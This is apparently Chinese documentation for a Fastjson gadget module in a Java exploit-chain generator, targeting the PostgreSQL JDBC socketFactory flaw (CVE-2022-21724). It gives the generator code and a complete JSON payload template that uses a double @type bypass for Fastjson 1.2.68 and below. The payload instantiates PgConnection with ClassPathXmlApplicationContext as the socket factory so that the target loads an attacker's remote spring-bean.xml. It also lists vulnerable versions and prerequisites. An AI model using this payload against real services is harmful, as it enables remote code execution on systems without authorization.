- 类别:fastjson 别名:— 优先级:—
- 作者:—
- 依赖:
org.postgresql:postgresql(org.postgresql.Driver)、版本9.4.1208 <= x < 42.2.25或42.3.0 <= x < 42.3.2;Fastjson<= 1.2.68
生成 Fastjson JSON payload,实例化 org.postgresql.jdbc.PgConnection,滥用 PostgreSQL 驱动的 socketFactory / socketFactoryArg 连接属性:把 socketFactory 指定为 org.springframework.context.support.ClassPathXmlApplicationContext,socketFactoryArg 指定为攻击者的 spring-bean.xml 地址。驱动建立连接时会 new ClassPathXmlApplicationContext(url),从而远程加载并实例化 Spring Bean XML,达成 RCE(CVE-2022-21724,PostgreSQL JDBC socketFactory 注入)。
- 入口
tags:FastjsonPayload、ENDFastjsonPayload:产出交由 Fastjson Payload 解析的 JSON 字符串。END:链尾,无下游;RCE 效果由远程spring-bean.xml承载。
- 衔接
nextTags:无。 excludes:无。
本类逻辑极简,getObject 无入参(不消费内层字节码),仅把 url 填入模板:
public Object getObject() {
return String.format(template, this.url);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject();
}模板即攻击核心:
{
"x1": {
"@type": "java.lang.AutoCloseable",
"@type": "org.postgresql.jdbc.PgConnection",
"hostSpecs": [ { "host": "127.0.0.1", "port": 2333 } ],
"user": "user",
"database": "test",
"info": {
"socketFactory": "org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg": "%s"
},url: ""
}
}@type: java.lang.AutoCloseable+@type: org.postgresql.jdbc.PgConnection双@type:Fastjson<= 1.2.68绕过checkAutoType。- PgConnection 构造时读取
info里的socketFactory/socketFactoryArg:PostgreSQL 驱动允许用任意实现了「接受一个 String 构造参数」的类作为 SocketFactory,并把socketFactoryArg作为其构造参数。这里传入ClassPathXmlApplicationContext,其构造参数被当作 Spring 配置路径 → 加载%s(攻击者的spring-bean.xml)。 hostSpecs的127.0.0.1:2333是占位——真正的数据库连接并不需要成功,只要在建立 socket 前触发socketFactory的实例化即可。- 尾部
url: ""是反编译还原出的模板原文(键无引号,属模板字符串写法),不影响 Fastjson 解析。
spring-bean.xml 内通常定义一个通过 MethodInvokingFactoryBean / SpEL 执行命令的 bean,实现 RCE。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
url |
指定加载 spring-bean.xml 文件路径 | 远程/本地 Spring Bean XML 地址,支持 http 与 file 协议(如 http://127.0.0.1:8080/bean.xml、file://xxx/bean.xml) |
无(须填) | — |
- Fastjson
<= 1.2.68(AutoCloseable双@type绕过)。 - PostgreSQL 驱动须落在
9.4.1208 <= x < 42.2.25或42.3.0 <= x < 42.3.2;42.2.25 / 42.3.2 起 CVE-2022-21724 修复了对socketFactory的任意类加载。 - 目标 classpath 须有 Spring(提供
ClassPathXmlApplicationContext)。 - 出网:目标需能访问
url指向的 XML(http/file)。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。
- Fastjson 1.2.80 变体:FastjsonPostgreSQLJdbc1_2_80(用 Jackson 异常链绕过高版本 Fastjson 的
expectClass限制)。 - 同族 Fastjson JDBC sink:FastjsonMySQLJdbc、FastjsonH2Jdbc
- 上游入口:
Fastjson/Fastjson2系 Payload(FastjsonPayload标签)。